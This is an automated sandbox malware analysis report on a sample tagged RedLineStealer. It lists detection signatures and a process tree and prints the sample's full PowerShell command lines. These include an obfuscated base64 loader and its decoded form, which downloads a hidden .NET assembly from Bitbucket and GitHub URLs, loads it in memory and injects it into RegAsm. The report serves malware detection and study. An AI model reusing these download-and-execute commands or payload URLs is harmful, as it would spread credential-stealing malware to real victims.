Edit tour

Windows Analysis Report
OTO2wVGgkl.exe

Overview

General Information

Sample name:	OTO2wVGgkl.exe renamed because original name is a hash value
Original sample name:	63af3844e6d0a5fa89da17713ce1fb59.exe
Analysis ID:	1527751
MD5:	63af3844e6d0a5fa89da17713ce1fb59
SHA1:	8b457819c6b7ce8e04755ef75b8ce176bc58fb28
SHA256:	7507af39b3ed38d361e06c2a232d5703369bb11706184d0d10318a5ff3d9cabc
Tags:	exeRedLineStealeruser-abuse_ch
Infos:

Detection

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for submitted file

Sigma detected: Powershell download and load assembly

Sigma detected: Powershell download payload from hardcoded c2 list

Suricata IDS alerts for network traffic

Yara detected Powershell download and execute

.NET source code references suspicious native API functions

AI detected suspicious sample

Found suspicious powershell code related to unpacking or dynamic code loading

Injects a PE file into a foreign processes

Loading BitLocker PowerShell Module

Reads the System eventlog

Sigma detected: Base64 Encoded PowerShell Command Detected

Sigma detected: Potential PowerShell Obfuscation Via Reversed Commands

Sigma detected: PowerShell Base64 Encoded FromBase64String Cmdlet

Sigma detected: Script Interpreter Execution From Suspicious Folder

Sigma detected: Suspicious Script Execution From Temp Folder

Sigma detected: WScript or CScript Dropper

Suspicious execution chain found

Suspicious powershell command line found

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Writes to foreign memory regions

Wscript starts Powershell (via cmd or directly)

Allocates memory with a write watch (potentially for evading sandboxes)

Binary contains a suspicious time stamp

Contains functionality to dynamically determine API calls

Contains functionality to shutdown / reboot the system

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Detected potential crypto function

Enables debug privileges

Enables security privileges

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found evasive API chain checking for process token information

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

PE file contains executable resources (Code or Archives)

PE file contains strange resources

Queries disk information (often used to detect virtual machines)

Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Sigma detected: CurrentVersion Autorun Keys Modification

Sigma detected: Usage Of Web Request Commands And Cmdlets

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Uses Microsoft's Enhanced Cryptographic Provider

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Very long command line found

Yara signature match

Classification

Process Tree

System is w10x64

OTO2wVGgkl.exe (PID: 280 cmdline: "C:\Users\user\Desktop\OTO2wVGgkl.exe" MD5: 63AF3844E6D0A5FA89DA17713CE1FB59)

cmd.exe (PID: 2064 cmdline: cmd.exe /c 123.vbs MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 6260 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

wscript.exe (PID: 972 cmdline: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\Temp\IXP000.TMP\123.vbs" MD5: A47CBE969EA935BDD3AB568BB126BC80)

powershell.exe (PID: 1776 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "$codigo = 'WwBO#GU#d##u#FM#ZQBy#HY#aQBj#GU#U#Bv#Gk#bgB0#E0#YQBu#GE#ZwBl#HI#XQ#6#Do#UwBl#GM#dQBy#Gk#d#B5#F##cgBv#HQ#bwBj#G8#b##g#D0#I#Bb#E4#ZQB0#C4#UwBl#GM#dQBy#Gk#d#B5#F##cgBv#HQ#bwBj#G8#b#BU#Hk#c#Bl#F0#Og#6#FQ#b#Bz#DE#Mg#N##o#I##g#C##I##g#C##I##g#C##I##g#C##ZgB1#G4#YwB0#Gk#bwBu#C##R#Bv#Hc#bgBs#G8#YQBk#EQ#YQB0#GE#RgBy#G8#bQBM#Gk#bgBr#HM#I#B7#C##c#Bh#HI#YQBt#C##K#Bb#HM#d#By#Gk#bgBn#Fs#XQBd#CQ#b#Bp#G4#awBz#Ck#I##N##o#I##g#C##I##g#C##I##g#C##I##g#C##J#B3#GU#YgBD#Gw#aQBl#G4#d##g#D0#I#BO#GU#dw#t#E8#YgBq#GU#YwB0#C##UwB5#HM#d#Bl#G0#LgBO#GU#d##u#Fc#ZQBi#EM#b#Bp#GU#bgB0#Ds#I##N##o#I##g#C##I##g#C##I##g#C##I##g#C##J#Bz#Gg#dQBm#GY#b#Bl#GQ#T#Bp#G4#awBz#C##PQ#g#Ec#ZQB0#C0#UgBh#G4#Z#Bv#G0#I##t#Ek#bgBw#HU#d#BP#GI#agBl#GM#d##g#CQ#b#Bp#G4#awBz#C##LQBD#G8#dQBu#HQ#I##k#Gw#aQBu#Gs#cw#u#Ew#ZQBu#Gc#d#Bo#Ds#I##N##o#I##g#C##I##g#C##I##g#C##I##g#C##ZgBv#HI#ZQBh#GM#a##g#Cg#J#Bs#Gk#bgBr#C##aQBu#C##J#Bz#Gg#dQBm#GY#b#Bl#GQ#T#Bp#G4#awBz#Ck#I#B7#C##d#By#Hk#I#B7#C##cgBl#HQ#dQBy#G4#I##k#Hc#ZQBi#EM#b#Bp#GU#bgB0#C4#R#Bv#Hc#bgBs#G8#YQBk#EQ#YQB0#GE#K##k#Gw#aQBu#Gs#KQ#g#H0#I#Bj#GE#d#Bj#Gg#I#B7#C##YwBv#G4#d#Bp#G4#dQBl#C##fQ#g#H0#Ow#g##0#Cg#g#C##I##g#C##I##g#C##I##g#C##I#By#GU#d#B1#HI#bg#g#CQ#bgB1#Gw#b##g#H0#Ow#g##0#Cg#g#C##I##g#C##I##g#C##I##g#C##I##k#Gw#aQBu#Gs#cw#g#D0#I#B##Cg#JwBo#HQ#d#Bw#HM#Og#v#C8#YgBp#HQ#YgB1#GM#awBl#HQ#LgBv#HI#Zw#v#Gc#Z#Bm#GY#ZgBm#GY#ZgBm#GY#LwBk#GQ#Z#Bk#GQ#LwBk#G8#dwBu#Gw#bwBh#GQ#cw#v#Gk#bQBn#F8#d#Bl#HM#d##u#Go#c#Bn#D8#MQ#x#Dg#MQ#x#Dc#Mw#1#Cc#L##g#Cc#a#B0#HQ#c#Bz#Do#Lw#v#HI#YQB3#C4#ZwBp#HQ#a#B1#GI#dQBz#GU#cgBj#G8#bgB0#GU#bgB0#C4#YwBv#G0#LwBz#GE#bgB0#G8#bQBh#Gw#bw#v#GE#dQBk#Gk#d##v#G0#YQBp#G4#LwBp#G0#ZwBf#HQ#ZQBz#HQ#LgBq#H##Zw#/#DE#N##0#DQ#MQ#3#DI#Mw#n#Ck#Ow#N##o#I##g#C##I##g#C##I##g#C##I##g#C##I##k#Gk#bQBh#Gc#ZQBC#Hk#d#Bl#HM#I##9#C##R#Bv#Hc#bgBs#G8#YQBk#EQ#YQB0#GE#RgBy#G8#bQBM#Gk#bgBr#HM#I##k#Gw#aQBu#Gs#cw#7##0#Cg#g#C##I##g#C##I##g#C##I##g#C##I##g#Gk#Zg#g#Cg#J#Bp#G0#YQBn#GU#QgB5#HQ#ZQBz#C##LQBu#GU#I##k#G4#dQBs#Gw#KQ#g#Hs#I##k#Gk#bQBh#Gc#ZQBU#GU#e#B0#C##PQ#g#Fs#UwB5#HM#d#Bl#G0#LgBU#GU#e#B0#C4#RQBu#GM#bwBk#Gk#bgBn#F0#Og#6#FU#V#BG#Dg#LgBH#GU#d#BT#HQ#cgBp#G4#Zw#o#CQ#aQBt#GE#ZwBl#EI#eQB0#GU#cw#p#Ds#DQ#K#C##I##g#C##I##g#C##I##g#C##I##g#C##J#Bz#HQ#YQBy#HQ#RgBs#GE#Zw#g#D0#I##n#Dw#P#BC#EE#UwBF#DY#N#Bf#FM#V#BB#FI#V##+#D4#Jw#7#C##J#Bl#G4#Z#BG#Gw#YQBn#C##PQ#g#Cc#P##8#EI#QQBT#EU#Ng#0#F8#RQBO#EQ#Pg#+#Cc#Ow#g#CQ#cwB0#GE#cgB0#Ek#bgBk#GU#e##g#D0#I##k#Gk#bQBh#Gc#ZQBU#GU#e#B0#C4#SQBu#GQ#ZQB4#E8#Zg#o#CQ#cwB0#GE#cgB0#EY#b#Bh#Gc#KQ#7#C##DQ#K#C##I##g#C##I##g#C##I##g#C##I##g#CQ#ZQBu#GQ#SQBu#GQ#ZQB4#C##PQ#g#CQ#aQBt#GE#ZwBl#FQ#ZQB4#HQ#LgBJ#G4#Z#Bl#Hg#TwBm#Cg#J#Bl#G4#Z#BG#Gw#YQBn#Ck#Ow#N##o#I##g#C##I##g#C##I##g#C##I##g#C##I#Bp#GY#I##o#CQ#cwB0#GE#cgB0#Ek#bgBk#GU#e##g#C0#ZwBl#C##M##g#C0#YQBu#GQ#I##k#GU#bgBk#Ek#bgBk#GU#e##g#C0#ZwB0#C##J#Bz#HQ#YQBy#HQ#SQBu#GQ#ZQB4#Ck#I#B7#C##J#Bz#HQ#YQBy#HQ#SQBu#GQ#ZQB4#C##Kw#9#C##J#Bz#HQ#YQBy#HQ#RgBs#GE#Zw#u#Ew#ZQBu#Gc#d#Bo#Ds#I##N##o#I##g#C##I##g#C##I##g#C##I##g#C##J#Bi#GE#cwBl#DY#N#BM#GU#bgBn#HQ#a##g#D0#I##k#GU#bgBk#Ek#bgBk#GU#e##g#C0#I##k#HM#d#Bh#HI#d#BJ#G4#Z#Bl#Hg#Ow#N##o#I##g#C##I##g#C##I##g#C##I##g#C##I##k#GI#YQBz#GU#Ng#0#EM#bwBt#G0#YQBu#GQ#I##9#C##J#Bp#G0#YQBn#GU#V#Bl#Hg#d##u#FM#dQBi#HM#d#By#Gk#bgBn#Cg#J#Bz#HQ#YQBy#HQ#SQBu#GQ#ZQB4#Cw#I##k#GI#YQBz#GU#Ng#0#Ew#ZQBu#Gc#d#Bo#Ck#Ow#N##o#I##g#C##I##g#C##I##g#C##I##g#C##I##k#GM#bwBt#G0#YQBu#GQ#QgB5#HQ#ZQBz#C##PQ#g#Fs#UwB5#HM#d#Bl#G0#LgBD#G8#bgB2#GU#cgB0#F0#Og#6#EY#cgBv#G0#QgBh#HM#ZQ#2#DQ#UwB0#HI#aQBu#Gc#K##k#GI#YQBz#GU#Ng#0#EM#bwBt#G0#YQBu#GQ#KQ#7#C##J#Bs#G8#YQBk#GU#Z#BB#HM#cwBl#G0#YgBs#Hk#I##9#C##WwBT#Hk#cwB0#GU#bQ#u#FI#ZQBm#Gw#ZQBj#HQ#aQBv#G4#LgBB#HM#cwBl#G0#YgBs#Hk#XQ#6#Do#T#Bv#GE#Z##o#CQ#YwBv#G0#bQBh#G4#Z#BC#Hk#d#Bl#HM#KQ#7#C##J#B0#Hk#c#Bl#C##PQ#g#CQ#b#Bv#GE#Z#Bl#GQ#QQBz#HM#ZQBt#GI#b#B5#C4#RwBl#HQ#V#B5#H##ZQ#o#Cc#d#Bl#HM#d#Bw#G8#dwBl#HI#cwBo#GU#b#Bs#C4#S#Bv#G0#ZQ#n#Ck#Ow#N##o#I##g#C##I##g#C##I##g#C##I##g#C##J#Bt#GU#d#Bo#G8#Z##g#D0#I##k#HQ#eQBw#GU#LgBH#GU#d#BN#GU#d#Bo#G8#Z##o#Cc#b#Bh#Cc#KQ#u#Ek#bgB2#G8#awBl#Cg#J#Bu#HU#b#Bs#Cw#I#Bb#G8#YgBq#GU#YwB0#Fs#XQBd#C##K##n#HQ#e#B0#C4#Ng#w#G8#c##v#HM#Z#Bh#G8#b#Bu#Hc#bwBk#C8#dwBx#HQ#cgBl#HQ#cgBl#C8#awBy#HU#cgBl#G0#b#B1#HI#LwBn#HI#bw#u#HQ#ZQBr#GM#dQBi#HQ#aQBi#C8#Lw#6#HM#c#B0#HQ#a##n#Cw#I##n#D##Jw#s#C##JwBT#HQ#YQBy#HQ#dQBw#E4#YQBt#GU#Jw#s#C##JwBS#GU#ZwBB#HM#bQ#n#Cw#I##n#D##Jw#p#Ck#fQB9##==';$oWjuxd = [system.Text.encoding]::Unicode.GetString([system.convert]::Frombase64string( $codigo.replace('#','A') ));powershell.exe $OWjuxD .exe -windowstyle hidden -exec MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 1404 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 5664 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12 function DownloadDataFromLinks { param ([string[]]$links) $webClient = New-Object System.Net.WebClient; $shuffledLinks = Get-Random -InputObject $links -Count $links.Length; foreach ($link in $shuffledLinks) { try { return $webClient.DownloadData($link) } catch { continue } }; return $null }; $links = @('https://bitbucket.org/gdffffffff/ddddd/downloads/img_test.jpg?11811735', 'https://raw.githubusercontent.com/santomalo/audit/main/img_test.jpg?14441723'); $imageBytes = DownloadDataFromLinks $links; if ($imageBytes -ne $null) { $imageText = [System.Text.Encoding]::UTF8.GetString($imageBytes); $startFlag = '<<BASE64_START>>'; $endFlag = '<<BASE64_END>>'; $startIndex = $imageText.IndexOf($startFlag); $endIndex = $imageText.IndexOf($endFlag); if ($startIndex -ge 0 -and $endIndex -gt $startIndex) { $startIndex += $startFlag.Length; $base64Length = $endIndex - $startIndex; $base64Command = $imageText.Substring($startIndex, $base64Length); $commandBytes = [System.Convert]::FromBase64String($base64Command); $loadedAssembly = [System.Reflection.Assembly]::Load($commandBytes); $type = $loadedAssembly.GetType('testpowershell.Home'); $method = $type.GetMethod('la').Invoke($null, [object[]] ('txt.60op/sdaolnwod/wqtretre/kruremlur/gro.tekcubtib//:sptth', '0', 'StartupName', 'RegAsm', '0'))}}" .exe -windowstyle hidden -exec MD5: 04029E121A0CFA5991749937DD22A1D9)

RegAsm.exe (PID: 4788 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe" MD5: 0D5DF43AF2916F47D00C1573797C1A13)

svchost.exe (PID: 1012 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

cleanup

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
Process Memory Space: powershell.exe PID: 1776	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: powershell.exe PID: 1776	INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC	Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution	ditekSHen	0x5ebf:$b2: ::FromBase64String( 0x389f2:$b2: ::FromBase64String( 0x5cd0:$b3: ::UTF8.GetString( 0x38803:$b3: ::UTF8.GetString( 0x1a3ce:$s1: -join 0x1f417:$s1: -join 0x703cd:$s3: reverse 0x77022:$s3: reverse 0x79009:$s3: reverse 0x84038:$s3: reverse 0xe5afd:$s3: reverse 0xe5deb:$s3: reverse 0xe6505:$s3: reverse 0xe6cbe:$s3: reverse 0xedda9:$s3: reverse 0xee1c3:$s3: reverse 0xeed4b:$s3: reverse 0xef9f8:$s3: reverse 0x11bbdb:$s3: reverse 0x127419:$s3: reverse 0x13c0c6:$s3: reverse
Process Memory Space: powershell.exe PID: 5664	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: powershell.exe PID: 5664	INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC	Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution	ditekSHen	0xc616:$b2: ::FromBase64String( 0x2b275:$b2: ::FromBase64String( 0x39cb2:$b2: ::FromBase64String( 0x2d718b:$b2: ::FromBase64String( 0x32c26e:$b2: ::FromBase64String( 0x42bd04:$b2: ::FromBase64String( 0x42dbde:$b2: ::FromBase64String( 0xc427:$b3: ::UTF8.GetString( 0x2b086:$b3: ::UTF8.GetString( 0x39ac3:$b3: ::UTF8.GetString( 0x2d6f9c:$b3: ::UTF8.GetString( 0x32c07f:$b3: ::UTF8.GetString( 0x42bb15:$b3: ::UTF8.GetString( 0x42d9ef:$b3: ::UTF8.GetString( 0x133b0f:$s1: -join 0x140be4:$s1: -join 0x143fb6:$s1: -join 0x144668:$s1: -join 0x146159:$s1: -join 0x14835f:$s1: -join 0x148b86:$s1: -join

Other

Source	Rule	Description	Author	Strings
amsi64_5664.amsi.csv	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security

Sigma Signatures

Spreading

Sigma detected: Powershell download payload from hardcoded c2 list

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12 function DownloadDataFromLinks { param ([string[]]$links) $webClient = New-Object System.Net.WebClient; $shuffledLinks = Get-Random -InputObject $links -Count $links.Length; foreach ($link in $shuffledLinks) { try { return $webClient.DownloadData($link) } catch { continue } }; return $null }; $links = @('https://bitbucket.org/gdffffffff/ddddd/downloads/img_test.jpg?11811735', 'https://raw.githubusercontent.com/santomalo/audit/main/img_test.jpg?14441723'); $imageBytes = DownloadDataFromLinks $links; if ($imageBytes -ne $null) { $imageText = [System.Text.Encoding]::UTF8.GetString($imageBytes); $startFlag = '<<BASE64_START>>'; $endFlag = '<<BASE64_END>>'; $startIndex = $imageText.IndexOf($startFlag); $endIndex = $imageText.IndexOf($endFlag); if ($startIndex -ge 0 -and $endIndex -gt $startIndex) { $startIndex += $startFlag.Length; $base64Length = $endIndex - $startIndex; $base64Command = $imageText.Substring($startIndex, $base64Length); $commandBytes = [System.Convert]::FromBase64String($base64Command); $loadedAssembly = [System.Reflection.Assembly]::Load($commandBytes); $type = $loadedAssembly.GetType('testpowershell.Home'); $method = $type.GetMethod('la').Invoke($null, [object[]] ('txt.60op/sdaolnwod/wqtretre/kruremlur/gro.tekcubtib//:sptth', '0', 'StartupName', 'RegAsm', '0'))}}" .exe -windowstyle hidden -exec, CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12 function DownloadDataFromLinks { param ([string[]]$links) $webClient = New-Object System.Net.WebClient; $shuffledLinks = Get-Random -InputObject $links -Count $links.Length; foreach ($link in $shuffledLinks) { try { return $webClient.DownloadData($link) } catch { continue } }; return $null }; $links = @('https://bitbucket.org/gdffffffff/ddddd/downloads/img_test.jpg?11811735', 'https://raw.githubusercontent.com/santomalo/audit/main/img_test.jpg?14441723'); $imageBytes = DownloadDataFromLinks $links; if ($imageBytes -ne $null) { $imageText = [System.Text.Encoding]::UTF8.GetString($imageBytes); $startFlag = '<<BASE64_START>>'; $endFlag = '<<BASE64_END>>'; $startIndex = $imageText.IndexOf($startFlag); $endIndex = $imageText.IndexOf($endFlag); if ($startIndex -ge 0 -and $endIndex -gt $startIndex) { $startIndex += $startFlag.Length; $base64Length = $endIndex - $startIndex; $base64Command = $imageText.Substring($startIndex, $base64Length); $commandBytes = [System.Convert]::FromBase64String($base64Command); $loadedAssembly = [System.Reflection.Assembly]::Load($commandBytes); $type = $loadedAssembly.GetType('testpowershell.Home'); $method = $t

System Summary

Sigma detected: Base64 Encoded PowerShell Command Detected

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "$codigo = 'WwBO#GU#d##u#FM#ZQBy#HY#aQBj#GU#U#Bv#Gk#bgB0#E0#YQBu#GE#ZwBl#HI#XQ#6#Do#UwBl#GM#dQBy#Gk#d#B5#F##cgBv#HQ#bwBj#G8#b##g#D0#I#Bb#E4#ZQB0#C4#UwBl#GM#dQBy#Gk#d#B5#F##cgBv#HQ#bwBj#G8#b#BU#Hk#c#Bl#F0#Og#6#FQ#b#Bz#DE#Mg#N##o#I##g#C##I##g#C##I##g#C##I##g#C##ZgB1#G4#YwB0#Gk#bwBu#C##R#Bv#Hc#bgBs#G8#YQBk#EQ#YQB0#GE#RgBy#G8#bQBM#Gk#bgBr#HM#I#B7#C##c#Bh#HI#YQBt#C##K#Bb#HM#d#By#Gk#bgBn#Fs#XQBd#CQ#b#Bp#G4#awBz#Ck#I##N##o#I##g#C##I##g#C##I##g#C##I##g#C##J#B3#GU#YgBD#Gw#aQBl#G4#d##g#D0#I#BO#GU#dw#t#E8#YgBq#GU#YwB0#C##UwB5#HM#d#Bl#G0#LgBO#GU#d##u#Fc#ZQBi#EM#b#Bp#GU#bgB0#Ds#I##N##o#I##g#C##I##g#C##I##g#C##I##g#C##J#Bz#Gg#dQBm#GY#b#Bl#GQ#T#Bp#G4#awBz#C##PQ#g#Ec#ZQB0#C0#UgBh#G4#Z#Bv#G0#I##t#Ek#bgBw#HU#d#BP#GI#agBl#GM#d##g#CQ#b#Bp#G4#awBz#C##LQBD#G8#dQBu#HQ#I##k#Gw#aQBu#Gs#cw#u#Ew#ZQBu#Gc#d#Bo#Ds#I##N##o#I##g#C##I##g#C##I##g#C##I##g#C##ZgBv#HI#ZQBh#GM#a##g#Cg#J#Bs#Gk#bgBr#C##aQBu#C##J#Bz#Gg#dQBm#GY#b#Bl#GQ#T#Bp#G4#awBz#Ck#I#B7#C##d#By#Hk#I#B7#C##cgBl#HQ#dQBy#G4#I##k#Hc#ZQBi#EM#b#Bp#GU#bgB0#C4#R#Bv#Hc#bgBs#G8#YQBk#EQ#YQB0#GE#K##k#Gw#aQBu#Gs#KQ#g#H0#I#Bj#GE#d#Bj#Gg#I#B7#C##YwBv#G4#d#Bp#G4#dQBl#C##fQ#g#H0#Ow#g##0#Cg#g#C##I##g#C##I##g#C##I##g#C##I#By#GU#d#B1#HI#bg#g#CQ#bgB1#Gw#b##g#H0#Ow#g##0#Cg#g#C##I##g#C##I##g#C##I##g#C##I##k#Gw#aQBu#Gs#cw#g#D0#I#B##Cg#JwBo#HQ#d#Bw#HM#Og#v#C8#YgBp#HQ#YgB1#GM#awBl#HQ#LgBv#HI#Zw#v#Gc#Z#Bm#GY#ZgBm#GY#ZgBm#GY#LwBk#GQ#Z#Bk#GQ#LwBk#G8#dwBu#Gw#bwBh#GQ#cw#v#Gk#bQBn#F8#d#Bl#HM#d##u#Go#c#Bn#D8#MQ#x#Dg#MQ#x#Dc#Mw#1#Cc#L##g#Cc#a#B0#HQ#c#Bz#Do#Lw#v#HI#YQB3#C4#ZwBp#HQ#a#B1#GI#dQBz#GU#cgBj#G8#bgB0#GU#bgB0#C4#YwBv#G0#LwBz#GE#bgB0#G8#bQBh#Gw#bw#v#GE#dQBk#Gk#d##v#G0#YQBp#G4#LwBp#G0#ZwBf#HQ#ZQBz#HQ#LgBq#H##Zw#/#DE#N##0#DQ#MQ#3#DI#Mw#n#Ck#Ow#N##o#I##g#C##I##g#C##I##g#C##I##g#C##I##k#Gk#bQBh#Gc#ZQBC#Hk#d#Bl#HM#I##9#C##R#Bv#Hc#bgBs#G8#YQBk#EQ#YQB0#GE#RgBy#G8#bQBM#Gk#bgBr#HM#I##k#Gw#aQBu#Gs#cw#7##0#Cg#g#C##I##g#C##I##g#C##I##g#C##I##g#Gk#Zg#g#Cg#J#Bp#G0#YQBn#GU#QgB5#HQ#ZQBz#C##LQBu#GU#I##k#G4#dQBs#Gw#KQ#g#Hs#I##k#Gk#bQBh#Gc#ZQBU#GU#e#B0#C##PQ#g#Fs#UwB5#HM#d#Bl#G0#LgBU#GU#e#B0#C4#RQBu#GM#bwBk#Gk#bgBn#F0#Og#6#FU#V#BG#Dg#LgBH#GU#d#BT#HQ#cgBp#G4#Zw#o#CQ#aQBt#GE#ZwBl#EI#eQB0#GU#cw#p#Ds#DQ#K#C##I##g#C##I##g#C##I##g#C##I##g#C##J#Bz#HQ#YQBy#HQ#RgBs#GE#Zw#g#D0#I##n#Dw#P#BC#EE#UwBF#DY#N#Bf#FM#V#BB#FI#V##+#D4#Jw#7#C##J#Bl#G4#Z#BG#Gw#YQBn#C##PQ#g#Cc#P##8#EI#QQBT#EU#Ng#0#F8#RQBO#EQ#Pg#+#Cc#Ow#g#CQ#cwB0#GE#cgB0#Ek#bgBk#GU#e##g#D0#I##k#Gk#bQBh#Gc#ZQBU#GU#e#B0#C4#SQBu#GQ#ZQB4#E8#Zg#o#CQ#cwB0#GE#cgB0#EY#b#Bh#Gc#KQ#7#C##DQ#K#C##I##g#C##I##g#C##I##g#C##I##g#CQ#ZQBu#GQ#SQBu#GQ#ZQB4#C##PQ#g#CQ#aQBt#GE#ZwBl#FQ#ZQB4#HQ#LgBJ#G4#Z#Bl#Hg#TwBm#Cg#J#Bl#G4#Z#BG#Gw#YQBn#Ck#Ow#N##o#I##g#C##I##g#C##I##g#C##I##g#C##I#Bp#GY#I##o#CQ#cwB0#GE#cgB0#Ek#bgBk#GU#e##g#C0#ZwBl#C##M##g#C0#YQBu#GQ#I##k#GU#bgBk#Ek#bgBk#GU#e##g#C0#ZwB0#C##J#Bz#HQ#YQBy#HQ#SQBu#GQ#ZQB4#Ck#I#B7#C##J#Bz#HQ#YQBy#HQ#SQBu#GQ#ZQB4#C##Kw#9#C##J#Bz#HQ#YQBy#HQ#RgBs#GE#Zw#u#Ew#ZQBu#Gc#d#Bo#Ds#I##N##o#I##g#C##I##g#C##I##g#C##I##g#C##J#Bi#GE#cwBl#DY#N

Sigma detected: Potential PowerShell Obfuscation Via Reversed Commands

Source: Process started

Author: Teymur Kheirkhabarov (idea), Vasiliy Burov (rule), oscd.community, Tim Shelton: Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12 function DownloadDataFromLinks { param ([string[]]$links) $webClient = New-Object System.Net.WebClient; $shuffledLinks = Get-Random -InputObject $links -Count $links.Length; foreach ($link in $shuffledLinks) { try { return $webClient.DownloadData($link) } catch { continue } }; return $null }; $links = @('https://bitbucket.org/gdffffffff/ddddd/downloads/img_test.jpg?11811735', 'https://raw.githubusercontent.com/santomalo/audit/main/img_test.jpg?14441723'); $imageBytes = DownloadDataFromLinks $links; if ($imageBytes -ne $null) { $imageText = [System.Text.Encoding]::UTF8.GetString($imageBytes); $startFlag = '<<BASE64_START>>'; $endFlag = '<<BASE64_END>>'; $startIndex = $imageText.IndexOf($startFlag); $endIndex = $imageText.IndexOf($endFlag); if ($startIndex -ge 0 -and $endIndex -gt $startIndex) { $startIndex += $startFlag.Length; $base64Length = $endIndex - $startIndex; $base64Command = $imageText.Substring($startIndex, $base64Length); $commandBytes = [System.Convert]::FromBase64String($base64Command); $loadedAssembly = [System.Reflection.Assembly]::Load($commandBytes); $type = $loadedAssembly.GetType('testpowershell.Home'); $method = $type.GetMethod('la').Invoke($null, [object[]] ('txt.60op/sdaolnwod/wqtretre/kruremlur/gro.tekcubtib//:sptth', '0', 'StartupName', 'RegAsm', '0'))}}" .exe -windowstyle hidden -exec, CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12 function DownloadDataFromLinks { param ([string[]]$links) $webClient = New-Object System.Net.WebClient; $shuffledLinks = Get-Random -InputObject $links -Count $links.Length; foreach ($link in $shuffledLinks) { try { return $webClient.DownloadData($link) } catch { continue } }; return $null }; $links = @('https://bitbucket.org/gdffffffff/ddddd/downloads/img_test.jpg?11811735', 'https://raw.githubusercontent.com/santomalo/audit/main/img_test.jpg?14441723'); $imageBytes = DownloadDataFromLinks $links; if ($imageBytes -ne $null) { $imageText = [System.Text.Encoding]::UTF8.GetString($imageBytes); $startFlag = '<<BASE64_START>>'; $endFlag = '<<BASE64_END>>'; $startIndex = $imageText.IndexOf($startFlag); $endIndex = $imageText.IndexOf($endFlag); if ($startIndex -ge 0 -and $endIndex -gt $startIndex) { $startIndex += $startFlag.Length; $base64Length = $endIndex - $startIndex; $base64Command = $imageText.Substring($startIndex, $base64Length); $commandBytes = [System.Convert]::FromBase64String($base64Command); $loadedAssembly = [System.Reflection.Assembly]::Load($commandBytes); $type = $loadedAssembly.GetType('testpowershell.Home'); $method = $t

Sigma detected: PowerShell Base64 Encoded FromBase64String Cmdlet

Source: Process started

Sigma detected: Script Interpreter Execution From Suspicious Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Nasreddine Bencherchali (Nextron Systems): Data: Command: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\Temp\IXP000.TMP\123.vbs" , CommandLine: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\Temp\IXP000.TMP\123.vbs" , CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: cmd.exe /c 123.vbs, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 2064, ParentProcessName: cmd.exe, ProcessCommandLine: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\Temp\IXP000.TMP\123.vbs" , ProcessId: 972, ProcessName: wscript.exe

Sigma detected: Suspicious Script Execution From Temp Folder

Source: Process started

